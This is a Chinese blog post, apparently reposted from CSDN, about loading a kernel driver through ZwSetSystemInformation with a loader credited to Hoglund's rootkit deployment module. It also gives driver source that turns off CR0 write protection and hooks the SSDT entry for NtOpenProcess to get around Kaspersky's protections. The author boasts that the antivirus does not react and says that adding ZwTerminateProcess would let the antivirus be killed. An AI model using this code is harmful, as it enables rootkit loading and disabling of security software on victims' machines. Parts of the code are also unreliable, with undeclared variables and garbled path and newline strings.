ZwSetSystemInformation的使用

// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.
//

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com/
////////////////////////////////////////
/*
有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
ZwSetSystemInformation设置影响操作系统的信息，定义如下：
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemInformation(
IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength);

参数：
SystemInformationClass：将被设置的系统信息的类型，值为SYSTEM_IMFORMATION_CALSS枚举的一个子集，SystemLoadAndCallImage就是

SystemInformation:
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;

SystemInformationLength:長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)

成员：
Module:要加载模块的NATIVE NT格式的完整路径

备注：
这个信息类只能被设置，不是设置任何信息，而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码，则卸载模块。

SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
SystemInformationLength:以字节为单位的SystemInformaiton的大小，根据给定的
SystemInformationClass来设置它
*/

//*-----一些數據類型的定義開始--------------
typedef unsigned long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef VOID (__stdcall *RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

typedef NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);

typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;

#define SystemLoadAndCallImage 38
//*-----數據類型的定義結束--------------

void main(void)
{
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;

if( !(RtlInitUnicodeString =
(RTLINITUNICODESTRING) GetProcAddress(GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString")) )//在ntdll.dll中获取RtlInitUnicodeString地址
exit(1);

if( !(ZwSetSystemInformation =
(ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation")) )//在ntdll.dll中获取ZwSetSystemInformation地址
exit(1);

RtlInitUnicodeString( &(GregsImage.ModuleName),
L"//??//C://NtOpenProc.sys" );//加載的驅動就是這個了

if( NT_SUCCESS(ZwSetSystemInformation( SystemLoadAndCallImage,
&GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))//加载进内核空间
printf("Rootkit Loaded./n");
else printf("Rootkit not loaded./n");
}
驅動源碼是來自CSDN上的一篇文章的,內容是還原SSDT并可以繞過Inline Hook的(還原對象是NtOpenProcess),忘了文章的名稱,作者抱歉.

#include<ntddk.h>

typedef struct _SERVICE_DESCRIPTOR_TABLE
{
PVOID ServiceTableBase;
PULONG ServiceCounterTableBase;
ULONG NumberOfService;
ULONG ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数

//---------------------------------------------------------------------
__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId)
{
DbgPrint("NtOpenProcess() called");
__asm
{
push 0C4h
push 804eb560h //共十个字节
jmp [JmpAddress]
}
}
//---------------------------------------------------------------------
VOID Hook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID
DbgPrint("Address:0x%08X",Address);

OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址
DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);

DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);

JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头＋的地方，这样在其前面写的JMP都失效了
DbgPrint("JmpAddress:0x%08X",JmpAddress);

__asm
{//去掉内存保护
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

*((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT

__asm
{//恢复内存保护
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}

VOID Unhook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT

__asm
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

*((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT

__asm
{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
//---------------------------------------------------------------------
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
Unhook();
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = OnUnload;
Hook();
return STATUS_SUCCESS;
}
好了,可以測試結果了,加載驅動是成功的,卡巴沒反應,此時用普通的軟件(例如:Syscheck2)都可以看到卡巴加載的模塊了,我就寫還原NtOpenProcess而已,但如果加多幾個函數,例如ZwTerminateProcess咧,那個恐怖,任務管理器就可以輕鬆結束掉卡吧(不過卡巴7嘛,沒那麽容易結束的,哈哈).

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/iiprogram/archive/2008/04/02/2245932.aspx